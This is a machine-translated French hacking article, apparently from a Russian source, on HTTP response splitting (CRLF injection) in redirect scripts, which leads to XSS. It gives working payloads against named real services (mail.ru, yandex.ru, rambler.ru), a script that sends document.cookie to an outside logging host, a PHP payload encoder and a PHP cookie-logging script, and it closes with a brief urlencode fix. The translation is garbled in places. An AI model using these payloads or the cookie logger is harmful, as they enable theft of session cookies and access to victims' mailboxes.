This page has been robot translated, sorry for typos if any. Original content here.

Vulnérabilité de fractionnement HTTP

L'article traite de l'application pratique d'une vulnérabilité connue sous le nom de vulnérabilité de fractionnement HTTP

Un en-tête de base () sous un microscope

Errant l'immensité de l'Internet, nous voyons souvent l'URL de la forme http://anyhost.com/redirect.php?url=http://otherhost.com L'utilisateur simple d'esprit n'arrête pas de penser pendant une longue période, il clique juste dessus et s'adresse à otherhost.com. Un utilisateur curieux substitue l'adresse url à l'adresse de son hompagy, il est également convaincu de la courbure du script.
Outre les simples aussi curieux sur Internet vivent des utilisateurs plutôt curieux. Ils conduisent un lien dans AccessDiver aussi commencer à apprendre le travail du script.

1. L'essence du bug
2. Application pratique.
3. Emplacement de la prévalence de l'erreur.
4. Moyens de protection.

Pour les tankistes, je suggère que AccessDiver est "Hakre", comme il est d'usage d'exprimer dans une nation, une arme. Le téléchargement est autorisé sur le projet hors site . Au moment d'écrire ce texte, la dernière version de l'utilitaire était 4.173. Le programme est le plus connu pour sa fonction HTTP Debuger. Vous pouvez l'utiliser en allant en mode expert, en sélectionnant également la fonction appropriée dans le menu Outils (F4 puis Ctrl + F9 - en fonction de la version des touches qui pourrait être changée). Ensuite, nous ne soulignerons pas le soin apporté à son réglage, tout écolier fera face au plongeur.

pour les expériences, nous avons choisi mail.ru , parce que c'est le service de courrier électronique le plus connu dans le runet également le lecteur sera particulièrement intéressé à en apprendre davantage sur le bug sur ce projet;) Allons au lien http://go.mail.ru/urltracker?url=http:/ /www.security-teams.net . Nous serons lancés sur le portail le plus sélect pour la sécurité informatique;). Nous ajoutons le site aux signets et retournons à l'e-mail. Écrivez le lien qui nous intéresse dans le champ Adresse HTTP, mettez Mode égal à Get, cliquez sur Connect.
Nous verrons les en-têtes HTTP retournés par le serveur, comme dans la capture d'écran:



Faisons attention à la ligne soulignée. Ayant rencontré dans les en-têtes Emplacement :, le navigateur nous transporte inconditionnellement à l'URL spécifiée. Par conséquent, nous pouvons pousser l'utilisateur avec un lien, comme si sur un courrier, mais il ne parvient pas du tout au courrier. Tout cela est merveilleux, mais en pratique, rien ne peut aliéner.

Prenons attention au fait que les lignes dans l'en-tête sont séparées par deux caractères 0Dh 0Ah . Et si vous les attribuez à la fin du lien? Voyons ce qui va retourner le serveur à l'objection à la demande http://go.mail.ru/urltracker?url=null%0D%0Ahacked_by:%20drmist :



C'est intéressant Nous pouvons donc forcer le serveur à donner presque tous les en-têtes. Par exemple, modifiez les cookies personnalisés. Mais, encore une fois, ce n'est toujours pas aussi intéressant que ce qui nous attend. Il est intéressant que les rubriques soient séparées du corps de l'acte par la séquence 0Dh 0Ah 0Dh 0Ah . Sommes-nous capables de donner complètement n'importe quelle page? Nous entrons http://go.mail.ru/urltracker?url=% 0D% 0A% 0D% 0A <script> alerte (document.cookie); </ script> <! - regardez aussi:



Tout ce qui est jaune est le texte du document lui-même. Si JavaScript est activé dans le navigateur, alors en cliquant sur le lien, nous verrons la boîte de message avec nos cookies. Pour commettre une attaque XSS, vous devez:
1) Composer une page du type <script> document.location = 'http://drmist.ru/log.php?'+document.cookie; </ script>
2) Traduisez-le en url-encoder en utilisant le script:

<? php
$ url = "http://go.mail.ru/urltracker?url=";
$ s = "<script> document.location = 'http: //drmist.ru/log.php?'";
$ s. = "+ document.cookie; </ script>";
$ res = "";
pour ($ i = 0; $ i <strlen ($ s); $ i ++)
{
$ res. = "%";
$ t = ord ($ s [$ i]);
si ($ t <16)
$ res. = "0";
$ res. = dechex ($ t);
}

echo $ url. "% 0d% 0a% 0d% 0a". $ res;
?>

Nous obtenons:
http://go.mail.ru/urltracker?url=%0d%0a%0d%0a%3c%73%63 ... et ainsi de suite. (**)

3) écrivez le script log.php également le remplir avec drmist.ru:
<? php
$ fid = fopen ("../log.txt", "a");
fputs ($ fid, $ _SERVER ["QUERY_STRING"]. "\ r \ r \ r");
fclose ($ fid);
en-tête ("Lieu: http://www.mail.ru");
?>

Maintenant, il est permis de forger une référence magique (**) également pour acquérir les cookies de la victime.
Ils ont le droit de faire beaucoup de choses utiles, par exemple, pour avoir accès au courrier, mais à ce sujet, à un autre moment, nous nous sommes aussi distraits du sujet principal.

Bien sûr, vous n'avez pas besoin de conduire à l'email, c'est une ressource fictive, merde, et finalement ne peut pas être de notre bac à sable. Il est commun pour tous les gens de faire une erreur, mais les administrateurs de mail.ru sont moins susceptibles de faire des erreurs moins souvent. Les vrais bugs restent toujours. , les gens ne le disent pas du tout à cause de la cupidité, mais à cause de la peur d'une réaction inadéquate de l'administration à leur conclusion, qui, selon les statistiques, a une place. Heureusement, la présence de XSS ne garantit toujours pas l'accès à la boîte aux lettres. Je suis sûr que le bug sera couvert. Au plus tard - après 2 jours. Vulnérable non seulement mail.ru. Je recommande fortement que vous lisiez:
http://yandex.ru/redir/?url=[XSS]
http://rambler.ru//click?_URL=[XSS]

Franchement, nous avons été surpris au moment où j'ai appris que de telles vulnérabilités avaient été écrites sur securitylab.ru il y a 3 ans (voir Introduction de CRLF dans la fonction PHP header () du 10.09.2002), mais pour ce qui est de l'utilisation pratique du bug, Je ne l'ai jamais entendu, j'ai trouvé le sujet pertinent. Par ce bla bla, il est permis de nommer les bugs dans Yandex, et aussi le courrier.

Corriger l'erreur n'est pas difficile. Laissez le script vulnérable manger:

<?
if (! isset ($ url))
$ url = "http://www.mail.ru";

header ("Emplacement: $ url");

?>

Nous le rendons invulnérable:

header ("Emplacement:" .urlencode ($ url));

Si une redirection est prévue uniquement sur le site, il est préférable de le faire:

header ("Lieu: http://www.mail.ru/".urlencode($url));

C'est probablement tout ce que nous voulions dire. Permettez-moi de suggérer un peu plus de XSS:

http://talk.mail.ru/article.html?ID=31836089&page=1 "> <h1> XSS </ h1>
http://www.pochta.ru/?lng=fr "<h1> XSS </ h1>